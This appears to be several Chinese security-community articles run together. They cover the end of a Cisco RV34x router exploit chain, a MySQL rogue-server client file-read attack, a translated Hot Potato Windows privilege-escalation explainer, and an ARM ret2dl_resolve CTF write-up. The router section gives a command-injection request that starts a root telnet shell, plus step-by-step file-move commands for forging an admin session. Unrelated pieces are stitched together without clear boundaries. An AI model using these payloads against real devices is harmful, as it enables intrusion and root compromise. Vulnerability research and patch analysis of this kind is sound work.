跟进去`mctx_rpc`函数，可以看到它调用了`maapi_request_action_str_th`函数去向`ConfD`发起请求，执行`rpc`调用。
int __fastcall mctx_rpc(int *a1, int a2, int a3, int a4)
{
...
while ( v9 )
{
.
...
v5 = maapi_request_action_str_th(sock, thandle, (int)&output, v15, v10);
...
if ( output )
{
mctx_rpc_cli((int)a1, (char *)output, a3, a4);
free(output);
}
if ( !json_object_object_length(a4) )
{
v16 = json_object_new_int(0);
json_object_object_add(a4, "code", v16);
v17 = json_object_new_string("Success");
json_object_object_add(a4, "errstr", v17);
}
}
}
StrBufFree(&v27);
return v5;
}
`maapi_request_action_str_th`函数的官方手册的说明如下，正是由该函数最终发送`rpc`请求去触发`/usr/bin/update-clients`的，调用的传递的参数要符合`yang`模型中的定义。
int maapi_request_action_str_th(int sock, int thandle, char **output,
const char *cmd_fmt, const char *path_fmt, ...);
/*Does the same thing as maapi_request_action_th(), but takes the parameters as a string and
returns the result as a string. The library allocates memory for the result string, and the caller is responsible
for freeing it. This can in all cases be done with code like this:
*/
char *output = NULL;
if (maapi_request_action_str_th(sock, th, &output,
"test reverse listint [ 1 2 3 4 ]", "/path/to/action") == CONFD_OK) {
...
free(output);
}
跟到这里就算结束了，`ConfD`里面的实现就不继续跟踪了，具体的`ConfD`的说明还是建议简要把官方手册的关键章节看看，对进一步掌握框架由很好的帮助。
值得一提的是因为`ConfD`是`root`权限，所以`/usr/bin/update-clients`最终执行的时候也是`root`权限，因此利用这个漏洞拿到的权限也是`root`，比之前在`cgi`中拿到的权限要高。
认证后命令注入的`post`包如下所示：
POST /jsonrpc HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/plain, */*
Content-Length: 350
Connection: close
Cookie: selected_language=English; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; session_timeout=false; sessionid=138b633ddd844b81a8ea48a149819f645fbe31fb64a1bd7cc0072f3d14420da0; current-page=WAN_Settings
{
"jsonrpc":"2.0",
"method":"action",
"params":{
"rpc":"update-clients",
"input":{
"clients": [
{
"hostname": "hostname$(/usr/sbin/telnetd -l /bin/sh -p 2306)",
"mac": "64:d1:a3:4f:be:e1",
"device-type": "client",
"os-type": "windows"
}
]
}
}
}
## 漏洞利用
上面一节中把三个漏洞的细节都描述了一遍，本节中我们将尝试将三个漏洞结合起来实现无条件`RCE`的利用。
先回顾下三个漏洞的作用：
* 任意文件上传漏洞：可以实现上传任意文件到`/tmp/upload`目录中，文件名是可以预测的，是`0000000000`的数字递增；
* 任意文件移动漏洞：可以实现将文件系统中任意文件移动至`/tmp/www`目录下；
* 认证后命令执行漏洞：简单粗暴的认证后命令注入。
利用这三个漏洞的结合可以总结为：
1. 利用任意文件上传漏洞上传伪造的`session`到`/tmp/upload`目录下；
2. 利用任意文件移动漏洞将伪造的`session`移动至`/tmp`目录下，实现有效`session`的伪造；
3. 基于有效`session`，利用认证后命令执行漏洞拿到`root`权限；
下面一步一步进行解释。
第一步伪造`session`，先说明下`RV34x`中的`session`构成，`session`存储在`/tmp/websession`目录下
/tmp # ls websession/
session token
/tmp # cat websession/session
{
"max-count":1,
"cisco":{
"dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8":{
"user":"cisco",
"group":"admin",
"time":2433831,
"access":1,
"timeout":1800,
"leasetime":13118911
}
}
}
/tmp # ls websession/token/
dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
/tmp # cat websession/token/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
/tmp #
可以看到整个`session`的构成包含两个部分，一部分是`/tmp/websession/session`文件中包含登录的用户信息，信息中存储了用户名、`session
id`、用户组、超时时间等；另一部分则是`/tmp/websession/token/`目录下有`sessionid`对应的文件，文件内容为空。因此要构造的是`session`文件内容，以及空的`sessionid`所对应的文件。
先利用任意文件漏洞漏洞上传上面两个文件，一个内容如下，另一个内容随意。要提一句的是`session`文件中`time`的构造是系统启动的时间，可以用任意文件移动漏洞执行`mv
/proc/uptime /tmp/www/login.html`，然后访问`login.html`来泄漏时间戳。
{
"max-count":1,
"cisco":{
"dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8":{
"user":"cisco",
"group":"admin",
"time":2433831,
"access":1,
"timeout":1800,
"leasetime":13118911
}
}
}
还有个问题需要解决的是如何确定传上去的两个文件的名称。这可以通过利用任意文件移动漏洞备份`/tmp/www/index.html`，然后随意上传一个文件，再利用任意文件移动漏洞依次序将`/tmp/upload/0000000000`移动至`/tmp/www/index.html`，访问主页，如果主页内容发生变化，即可得到序号，下一次再将两个文件上传，文件名称即为刚刚得到的序号递增的两个序号。
第二步是利用任意文件移动漏洞将刚刚伪造的`session`及`session
id`文件移动至`/tmp`目录下，实现有效`session`的伪造。前面说过该任意文件移动只能将任意的文件移动到`/tmp/www`目录下，而`websession`文件夹则在`/tmp`目录下，如何才能够通过这个漏洞将我们的文件移动到`/tmp`目录下呢？
解决方法可以利用`/var`这个目录，该目录是`/tmp`目录到链接，将该目录移动至`/tmp/www`目录下，后续再往`/tmp/www/var`目录下去移动文件即可实现将文件移动至`/tmp`目录中。
/tmp # ls -al / | grep var
lrwxrwxrwx 1 root root 4 Oct 22 2021 var -> /tmp
这个过程也要利用一些空的文件夹（`3g-4g-driver out_certs certs firmware
pnp_config`）的移动来实现，具体的操作流程如下所示。第一行是`post`数据包放的内容，第二行是实现的效果。
# /tmp/websession websession_bak
mv /tmp/websession /tmp/www/websession_bak
# /tmp/3g-4g-driver websession
mv /tmp/3g-4g-driver /tmp/www/websession
# /tmp/upload/0000000016 session
mv /tmp/upload/0000000016 /tmp/www/session
# /tmp/firmware token
mv /tmp/firmware /tmp/www/token
# /tmp/upload/0000000017 dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
mv /tmp/upload/0000000017 /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
# /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8 token
mv /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8 /tmp/www/token
# /tmp/www/token websession
mv /tmp/www/token /tmp/www/websession
# /tmp/www/session websession
mv /tmp/www/session /tmp/www/websession
# /var tmp
mv /var /tmp/www/tmp
# /tmp/www/websession tmp
mv /tmp/www/websession /tmp/www/tmp
经过上面的两步一后，即可用认证后的代码执行漏洞拿到`root shell`。
## 漏洞补丁
去[官网](https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.26)下载新的固件，`binwalk`解压查看内容，对三个漏洞逐个查看。
任意文件上传漏洞似乎没有修复，`cisco`可能认为它是`nginx`的一个正常功能。
location /api/operations/ciscosb-file:form-file-upload {
set $deny 1;
if ($http_authorization != "") {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
任意文件移动漏洞的修复没有限制`/form-file-upload`的访问，而是在`upload.cgi`进行了修补。可以看到它在调用`prepare_file`之前会校验源目的地地址，从而修复了任意文件移动漏洞。
jsonutil_get_string(dword_2348C, &file_path, "\"file.path\"", -1);
...
if ( !file_path || match_regex("^/tmp/upload/[0-9]{10}$", file_path) )
{
puts("Content-type: text/html\n");
printf("Error Input");
goto LABEL_31;
}
最后再来看看命令执行漏洞，`update-clients`脚本内容未发生变化，但是`yang`接口定义却有变化。可以看到它限制了`hostname`的类型，同时将`os`等参数去掉了，导致无法形成注入。
rpc update-clients {
input {
list clients {
key mac;
leaf mac {
type yang:mac-address;
mandatory true;
}
leaf hostname {
type inet:domain-name;
}
uses ciscosb-security-common:DEVICE-OS-TYPE;
}
}
}
## 总结
配置文件的缺陷看起来微不足道，经过精心构造却能导致严重的漏洞。三个漏洞很巧妙，能够给人很多的启发。
## 参考
* [Nginx-upload-module中文文档](https://blog.osf.cn/2020/06/30/nginx-upload-module/)
* [nginx介绍和常用模块配置](https://www.liuvv.com/p/7245bfc7.html)
* [ConfD User Guide](https://manuals.plus/wp-content/sideloads/software-tail-f-confd-user-guide-original.pdf)
* [ConfD Basic学习手记](https://marvinsblog.net/post/2019-09-26-confd-basic/)
* * * | 社区文章 |
# 漏洞分析
* * *
在mysql中可以通过`load data local infile "/var/lib/mysql-files/test.txt" into table
test`命令，将本地文件上传至MySQL服务器，实际上，服务器可以直接发出请求来读取客户端文件，而不需要经过用户同意。
## 抓包分析
客户端发出命令请求
服务端发出读取文件请求
客户端发送文件
若是服务端直接发出读取文件请求，客户端便会直接发送本地文件。
# 攻击思路
* * *
客户端连接服务器
服务器发送Greeting包，要求客户端提供密码
客户端发送登陆请求
服务端直接发出ok，然后服务端直接发出读取文件请求
客户端便会直接发送本地文件。
# 攻击总览
* * *
注意中间的query request是每次登陆成功的版本号查询，我们并未响应
# 自动化工具
* * *
详见 <https://github.com/lcark/MysqlClientAttack/>
# 利用过程
* * *
运行脚本，监听本地端口
客户端连接
一有连接，即可读取到客户端文件 | 社区文章 |
# Hot Potato－Windows上的提权漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://foxglovesecurity.com/2016/01/16/hot-potato/>
译文仅供参考，具体内容表达以及含义原文为准。
**Windows 7,8,10,Server 2008以及Server
2012版本的操作系统平台中存在提权漏洞，攻击者可以利用这一漏洞发动新型的网络攻击。**
**工作机制**
在Windows操作系统的默认配置下，Hot Potato（也被称为Potato）能够利用Windows中的漏洞来获取本地计算机的控制权限，即通过NTLM
relay（特别是HTTP->SMB relay）和NBNS协议欺骗。
你可能会觉得这些内容似成相识，那是因为谷歌的安全技术人员曾经披露过类似技术的相关内容－https://code.google.com/p/google-security-research/issues/detail?id=222。实际上，我们所使用的一些代码正是从他们的概念验证实例以及应用扩展中“盗取”来的（听起来有些尴尬）。
通过这项技术，我们可以在安装了Windows操作系统的工作站中为自己提权，并将自己的低级权限提升至“NT
AUTHORITYSYSTEM”－在Windows操作系统中，这是可获取到的最高等级的权限了。
这一点至关重要，因为很多的组织和机构不得不依靠Windows的用户账号权限来保护他们组织内部网络的安全。比如说，如果有一名攻击者能够得到目标网络中任意一台Windows工作站的高级访问权限，那么他们就可以利用这种访问权限来进行“横向攻击”，并入侵同一网域中的其他主机。作为一名攻击者，我们通常会通过目标主机中的一个低级用户或者服务账号来获取目标主机的访问权限。而获取到目标主机的高级访问权限是攻击者在渗透测试中的关键步骤，这一步通常会在一种特殊的方式下进行，因为目前还没有已知的漏洞或者技术可以直接使用。
攻击者在目标主机中实现权限提升时所使用的技术并不算新颖，但是他们使用这项技术的方式却令人耳目一新。微软公司已经了解到了所有的相关信息，但不幸的是，在不破坏系统向后兼容性的情况下，这些问题是很难进行修复的，所以攻击者已经使用这项技术长达十五年之久了。
这一漏洞利用技术主要有三大部分组成，其中每一部分都可以通过命令行来进行配置。每一部分均对应着一个已知类型的攻击，而且这些攻击方式也已经被使用多年了：
**1.本地NBNS欺骗**
NBNS是一个UDP广播协议，该协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分，它在基于 NetBIOS
名称访问的网络上提供主机名和地址映射方法，Windows操作系统通常会使用这一协议来进行域名解析。当你（或Windows）进行一次DNS查询时，Windows首先会检测“hosts”文件。如果不存在可用资源的话，那么它将会尝试进行DNS查询。如果搜索失败，那么系统又将会进行NBNS查询。NBNS协议会在本地广播域中向所有的主机发出询问－“谁知道主机XXX的IP地址？”。网络中的空闲主机都会对这一消息产生应答。
在渗透测试过程中，我们通常会对本地网络中的网络流量和NBNS请求的应答信息进行嗅探和观察。我们将会伪装成网络中的主机，并使用我们自己的IP地址对所有的请求进行应答，我们希望能够得到一些有趣的信息。
为了实现权限提升这一目的，我们不能想当然地认为我们能够嗅探到网络流量信息。为什么呢？因为这需要本地管理员权限。那么，我们怎样才能实现NBNS欺骗呢？
如果我们能够提前知道NBNS请求所对应的目标主机的主机名（在此环境下，我们的目标主机IP为127.0.0.1），我们就可以创建一个虚假的应答信息，并快速地使用NBNS应答信息来对目标主机进行泛洪攻击（因为它是一个UDP协议）。其中有一个比较复杂的地方，即NBNS数据包中有一个长度为2子节的数据域－TXID。TXID必须与请求和应答信息相匹配，问题就在于我们无法读取到请求信息。但是我们可以通过快速泛洪攻击并对总共65536个可能值进行快速遍历。
如果目标网络中保存有主机的DNS记录呢？我们可以使用一种名为UDP端口exhaustion（枯竭）的技术来迫使目标系统中所有的DNS查询失败。我们所做的一切都是为了使每一个UDP端口失效。因为这会使得系统在进行DNS查询时没有可用的UDP端口资源，所以DNS将会失效，而此时NBNS请求也将会回退。
在我们的测试过程中，这一方法是百分之百有效的。
**2.伪造WPAD代理服务器**
在Windows操作系统中，IE浏览器在默认配置下会通过URL：“http://wpad/wpad.dat””来自动尝试检测网络代理。而且Windows中的一些服务也会采用这一机制，例如Windows
Update，而且这似乎是Windows的一种版本依赖。
当然了，并不是所有的网络中都存在URL“http://wpad/wpad.dat””。因为并不是所有的DNS域名服务器都存在主机“wpad”的。但是我们仍然可以使用NBNS欺骗来进行主机名欺骗。
我们一旦能够伪造NBNS的应答信息，我们就可以对目标主机（127.0.0.1）进行攻击了。我们将会对目标主机使用NBNS应答数据包来进行泛洪攻击。
与此同时，我们将会在本地运行一个HTTP服务器（IP地址为127.0.0.1）。当它接收到了请求（http://wpad/wpad.dat”）之后，它将会产生类似下图所显示的应答信息：
有趣的是，低权限的用户同样可以进行这样的攻击，这将会影响目标主机中所有的用户，包括管理员账户和系统账户在内。在下面所给出的截图中，两名用户同时登录到了同一台设备中，低权限用户正在进行本地NBNS欺骗，在第二张截图中大家可以看到高权限用户将会受到攻击的影响。
**3.HTTP - > SMB HTLM Relay**
大家应该都听说过NTLM relay，但是大家通常会将其误解为针对Windows
NTLM认证的攻击。攻击者可以通过中间人攻击来对NTLM协议进行攻击。如果攻击者能够诱骗目标用户在其设备上使用NTLM协议进行身份验证，攻击者就可以将身份验证请求转发到其他的设备上。
微软公司已经通过禁用NTLM认证协议来修复了这一问题。这也就意味着，SMB -> SMB NTLM relay将无法工作。但是，类似HTTP ->
SMB这样的跨协议攻击仍然可以正常使用。
在Potato攻击中，所有的HTTP请求将会被重定向至“http://localhost/GETHASHESxxxxx””，其中的xxxxx表示的是某些唯一标识符。发送至“http://localhost/GETHASHESxxxxx””的请求信息会收到一个请求NTLM认证的应答信息。
当高权限账户进行这样的HTTP请求，比如说，当Windows更新服务发出这样的请求之后，这一命令将会在“NT AUTHORITYSYSTEM”权限下执行。
**漏洞利用**
整个过程也许看起来会有些古怪，因为Windows在处理代理设置以及WPAD文件时所采用的处理机制就十分的奇怪。当Windows中已经存在相应的WPAD可用资源时，系统将会花费30至60分钟的时间来刷新WPAD文件。
我们在此所列举出的相关技术是按其复杂程度从最简单到最复杂来进行排序的。列举在后面的漏洞利用技术都可以在之前的所有操作系统版本中使用。我们在下方给出了相应的演示视频。
Windows 7－https://youtu.be/Nd6f5P3LSNM
Windows Server 2008－ https://youtu.be/z_IGPWgL5SY
Windows 8/10/Server 2012－ https://youtu.be/Kan58VeYpb8
**相关代码**
如果大家想要了解更多有关的信息和操作过程，请查看我们的GitHub主页：https://github.com/foxglovesec/Potato | 社区文章 |
# 记一次arm架构的ret to dl_resolve利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
想试试这个利用方式是因为今年Xman冬令营选拔赛上的一道题目`baby_arm`
➜ arm checksec pwn
[*] '/home/mask/Desktop/xman/arm/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)
题目本身很简单，只是一个free后未置0的UAF
int del_note()
{
int result; // r0
int v1; // [sp+8h] [bp+8h]
printf("Index :");
read(0, &v1, 4u);
result = atoi((const char *)&v1);
if ( result < 0 || result >= count )
{
puts("Out of bound!");
exit(0);
}
if ( notelist[result] )
{
free(notelist[result]); // uaf
result = puts("Done it");
}
return result;
}
`fastbin attack`去劫持`notelist`便可以任意地址读写了
因为这是一道arm架构的题目，其libc也是arm的libc，当时无法找到远程libc的版本，所以没有拿到flag，后来有另外一位师傅给了一个多平台libc
search的网站<https://libc.nullbyte.cat/> ，以后遇到相应题目也能继续做下去了
赛时有考虑过`ret to dl_resolve`的做法，在网上查了下也没发现有相关的文章，当时也没有详细研究，这次趁着期末考前有空，仔细琢磨了一下
## 加载函数
先来看一下arm的程序是如何加载libc中的函数的
### plt/got
就以`main`函数中的一个`puts`调用为例来分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
puts("Tell me your name:");
...
}
汇编层面是这样的
.text:00010A5A LDR R3, =(aTellMeYourName - 0x10A60)
.text:00010A5C ADD R3, PC ; "Tell me your name:"
.text:00010A5E MOV r0, R3 ; s
.text:00010A60 BLX puts
↓
.plt:00010560 puts ; CODE XREF: add_note+22↓p
.plt:00010560 ; add_note+84↓p ...
.plt:00010560 ADR r12, 0x10568
.plt:00010564 ADD r12, r12, #0x10000
.plt:00010568 LDR PC, [r12,#(puts_ptr - 0x20568)]! ; __imp_puts
↓
.plt:00010510 ; Segment type: Pure code
.plt:00010510 AREA .plt, CODE
.plt:00010510 ; ORG 0x10510
.plt:00010510 CODE32
.plt:00010510 STR LR, [SP,#-4]!
.plt:00010514 LDR LR, =_GLOBAL_OFFSET_TABLE_ ; PIC mode
.plt:00010518 NOP
.plt:0001051C LDR PC, [LR,#8]!
我们在gdb中跟进看看
这里的`ldr pc,[ip, #0xab8]!`（注意有一个`!`）的意思是`ip = ip + 0xab8, pc =
*ip`，此时`ip`寄存器指向了`puts[@got](https://github.com/got
"@got")`，然后`pc`读取`puts[@got](https://github.com/got
"@got")`的值，与x86架构一样，未加载的函数其GOT表上填的都是跳去`dl_resolve`的函数地址，也就是PLT表头的位置，于是程序就到了准备进入`dl_resolve`的地方`0x10510`位置处
在PLT表开头处的几条指令，`lr`寄存器指向了`GOT`表（在pwndbg中REGISTERS栏没有显示`lr`寄存器，不过可以用`p/x
$lr`来查看），下一条跳转指令`pc = *(lr +
8)`也就是跳去GOT表上存的一个地址，也就是`_dl_runtime_resolve`，注意这里的跳转指令也带有`!`，所以`lr`变成了GOT+8
### _dl_runtime_resolve
我们先查看一下arm的`_dl_runtime_resolve`源码，这是一段汇编代码，在`/sysdeps/arm/dl-trampoline.S`中，只关注主要代码
_dl_runtime_resolve:
@ we get called with
@ stack[0] contains the return address from this call
@ ip contains &GOT[n+3] (pointer to function)
@ lr points to &GOT[2]
@ Save arguments. We save r4 to realign the stack.
push {r0-r4}
@ get pointer to linker struct
ldr r0, [lr, #-4]
@ prepare to call _dl_fixup()
@ change &GOT[n+3] into 8*n NOTE: reloc are 8 bytes each
sub r1, ip, lr
sub r1, r1, #4
add r1, r1, r1
@ call fixup routine
bl _dl_fixup
@ save the return
mov ip, r0
@ get arguments and return address back. We restore r4
@ only to realign the stack.
pop {r0-r4,lr}
@ jump to the newly found address
BX(ip)
简单来说，进入`_dl_runtime_resolve`后，流程如下
1. 先保存前五个寄存器（调用函数时传递的参数）
2. 然后通过`lr`寄存器（此时是指向GOT+8）取得`link_map`的地址（保存在GOT+4），作为参数1，存在`r0`
3. 计算函数的`reloc_arg`（可以在`_dl_fixup`的源码中查看），`reloc_arg = (ip - lr -4) / 2`
4. 调用`_dl_fixup`函数
5. 从函数中返回加载成功的函数地址（libc中），保存到`ip`
6. 恢复寄存器（函数参数）
7. 跳转到`ip`，即调用加载成功的函数
`link_map`是在libc中的，不过地址存在了程序中的GOT段，主要关注这个`reloc_arg`，那三行有关`r1`的指令，实现的是`r1 = 2
*(puts[@got](https://github.com/got "@got") - (GOT +8) - 4)`，值就是`0x28`
至此，就准备进入`_dl_fixup`
### _dl_fixup
这个函数是在`ld.so`动态库中，相应源码在`/elf/dl-runtime.c`，挑出主要部分
# define reloc_offset reloc_arg
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取程序中的 ELF Symbol Table
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// 获取程序中的 ELF String Table
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 利用参数 reloc_offset(reloc_arg) 获取函数的 Elf32_Rel 结构体（程序中的 ELF JMPREL Relocation Table）
// 查表方式是 reloc = ELF JMPREL Relocation Table Base + reloc_offset
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 利用 reloc->r_info 获取函数的 Elf32_Sym 结构体 （程序中的 ELF Symbol Table）
// 查表方式是 r_info 的高位字节代表了函数的 ELF32_Sym 结构体在 ELF Symbol Table 中的偏移（其实这里可以说是索引，这里记录是 0x10 大小作为一个单位）
// 也就是说 sym = ELF Symbol Table Base + (r_info >> 8) * 0x10
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 这里会检查 reloc->r_info 的低位字节是否为 0x16 (针对arm的)
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) // 针对这个程序的利用，这里需要bypass，下文会讲
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 根据 strtab + sym->st_name 处的字符串，通过 _dl_lookup_symbol_x 去加载函数，返回值是 libc的基址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 得到函数真实地址
}
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
// 修改函数 GOT 表，返回真实地址
}
跟着流程走一遍
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取程序中的 ELF Symbol Table
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// 获取程序中的 ELF String Table
这里从`link_map`中获取`symtab`与`strtab`两个表，这两个表是存在ELF文件上的
可以发现这个ELF中调用的函数都在这里罗列了出来，程序正是利用这些表中的结构体去加载函数的，这也是`ret to dl_resolve`攻击的主要利用点
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 利用参数 reloc_offset(reloc_arg) 获取函数的 Elf32_Rel 结构体（程序中的 ELF JMPREL Relocation Table）
// 查表方式是 reloc = ELF JMPREL Relocation Table Base + reloc_offset
这一句通过传进`_dl_fixup`的第二个参数，来从`JMPREL`中获得将要调用的函数的`Elf32_Rel`结构体，`ELF JMPREL
Relocation Table`这个表也是在ELF文件中
上面提到了，调用`puts`时，传进来的值时`0x28`，按照宏定义运算，得到的`Elf32_Rel`结构体地址应为`0x10494 + 0x28 =
0x104bc`，得到`Elf32_Rel <0x21020, 0x616> ; R_ARM_JUMP_SLOT
puts`这个结构，`Elf32_Rel`结构体定义如下
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 利用 reloc->r_info 获取函数的 Elf32_Sym 结构体 （程序中的 ELF Symbol Table）
// 查表方式是 r_info 的高位字节代表了函数的 ELF32_Sym 结构体在 ELF Symbol Table 中的偏移（其实这里可以说是索引，这里记录是以 0x10 大小作为一个单位）
// 也就是说 sym = ELF Symbol Table Base + (r_info >> 8) << 4
利用`reloc`来获取函数的`Elf32_Sym`结构体，按照宏定义运算，得到的`Elf32_Sym`结构体地址应为`0x10214 + (0x616
>> 8) << 4 = 0x10214 + 0x60 = 0x10274`，得到`Elf32_Sym <aPuts - byte_10334, 0, 0,
0x12, 0, 0> ; "puts"`这个结构体，`Elf32_Sym`结构定义如下
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
} Elf32_Sym;
`st_name`是函数名相对于`strtab`的偏移，按照我们得到的结构体来说，这个数值为`0x1a`，得到的函数名字符串所在地址为`0x10334 +
0x1a = 0x1034e`，正好为`puts`
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 这里会检查 reloc->r_info 的低位字节是否为 0x16 (针对arm的)
这里会对`Elf32_Rel`中的`r_info`进行一个check，x86中`r_info`的低位是`0x7`而arm中这里应为`0x16`
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 根据 strtab + sym->st_name 处的字符串，通过 _dl_lookup_symbol_x 去加载函数，返回值是 libc的基址
这一处就是按照前面准备好的各种结构体，去加载函数，返回libc基址，调用`_dl_lookup_symbol_x`时
注意第三个参数 `&sym`，这里是`sym`变量的地址`0xf6ffed4c`，放在栈上
执行完这个函数，返回的只是libc的基址，那么我们想要调用的加载的地址在哪里呢？
其实在`_dl_lookup_symbol_x`中把`sym`的`st_value`修改成了加载函数相对于libc基址的偏移
这里提一下，在vmmap出来的地址与真实的函数偏移基址差了`0x1000`，这与x86上的情况不大一样，不知道是什么原因
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 得到函数真实地址
接着就利用libc基址与函数偏移得到函数真实地址
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
// 修改函数 GOT 表，返回真实地址
加载了函数以后，再调用就直接通过GOT表找到函数真实地址了
到此位置，arm中动态加载函数的流程已经走完了，下面针对这道题目谈谈如何利用
## 利用思路
这道题本身是一道可以任意地址读写的题目，在假设不知道libc的情况下，使用`ret to dl_resolve`应该是一个很好的办法
在以往x86上的`ret to
dl_resolve`利用，无非是栈转移到bss段再进行ROP，可是我没有发现arm上有关栈转移的操作（有些文章说arm有sp和fp寄存器，但是针对这题貌似没有发现，可能是arm的其他类型），然后我也没发现有栈溢出的地方
回归到任意地址读写的功能上，我们可以修改函数GOT表从而达到执行任意地址代码（地址确保是可执行的），找一下`gadget`
发现`__libc_csu_init`里的一个`pop`可以控制各寄存器然后跳到`pc`处，只要修改某个函数的GOT表为这个`gadget`即可
回想一下在`_dl_runtime_resolve`前，函数GOT表地址是存在`ip`寄存器的，同时`lr`寄存器指向GOT+8，所以我们可以利用这个`gadget`控制`lr`，`ip`与`pc`，从而可以自定义加载函数
那么问题就到了如何控制栈上对应位置进行`pop`，利用任意地址写是可行的，但是我们不知道栈地址
如何来leak栈地址，我在这里取巧了，通过任意地址写来修改`puts[@got](https://github.com/got
"@got")`为`printf[@plt](https://github.com/plt
"@plt")`，进而实现了格式化字符串漏洞利用，泄漏了stack，进入对栈上数据进行修改
这里要注意函数栈帧的重合，在利用时进行一次`pop`发现`edit`函数的返回地址被破坏了，于是我多进行了一次`pop`，避开了当前函数的栈帧，同时也控制了`lr`，`ip`与`pc`
剩下伪造`fake_got`，`fake_ELF32_Rel`和`fake_ELF32_Sym`了，还是利用任意地址写在bss上写下这两个结构体
`fake_got`的计算方式是`ELF JMPREL Relocation Table + (fake_got - (GOT + 8) - 4) * 2
= fake_ELF32_Rel`，所以`fake_got = (0x210b4 - 0x10494) * 2 + 0x21008 + 4 =
0x2961c`
`fake_ELF32_Rel->r_offset`是待加载函数的GOT表，这里随便填了一个`free[@got](https://github.com/got
"@got")`，不影响
`fake_ELF32_Rel->r_info`是`fake_ELF32_Sym`相对`ELF Symbol
Table`的索引，再加上架构check的`0x16`，就是`r_info = ((0x210c4 - 0x10214) >> 4) << 8 ^ 0x16
= 0x10eb16`
`fake_ELF32_Sym->st_name`是待加载函数名相对于`ELF String
Table`的偏移，这里调用`system`，写在了bss上，于是值为`st_name = 0x210bc - 0x10334 = 0x10d88`
东西都准备好了，接着就`ret to dl_resolve`
准备进入`_dl_resolve`，此时`r0`是待调用函数的参数，`IP`是我们伪造的`fake_got`
准备进入`_dl_fixup`，`r1`是`fake_ELF32_Rel`的偏移
继续执行下去，会发现一处`SIGSEGV`，原因是读到了错误地址
看前几条指令，可以发现bypass的地方
正好这里的`r0`是`link_map`，地址存在GOT上，只需读出地址，修改`link_map +
0xe4`处为0就行了，这里的代码对应`_dl_fixup`中这一段
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) // 针对这个程序的利用，这里需要bypass
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; // reloc->r_offset 太大
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
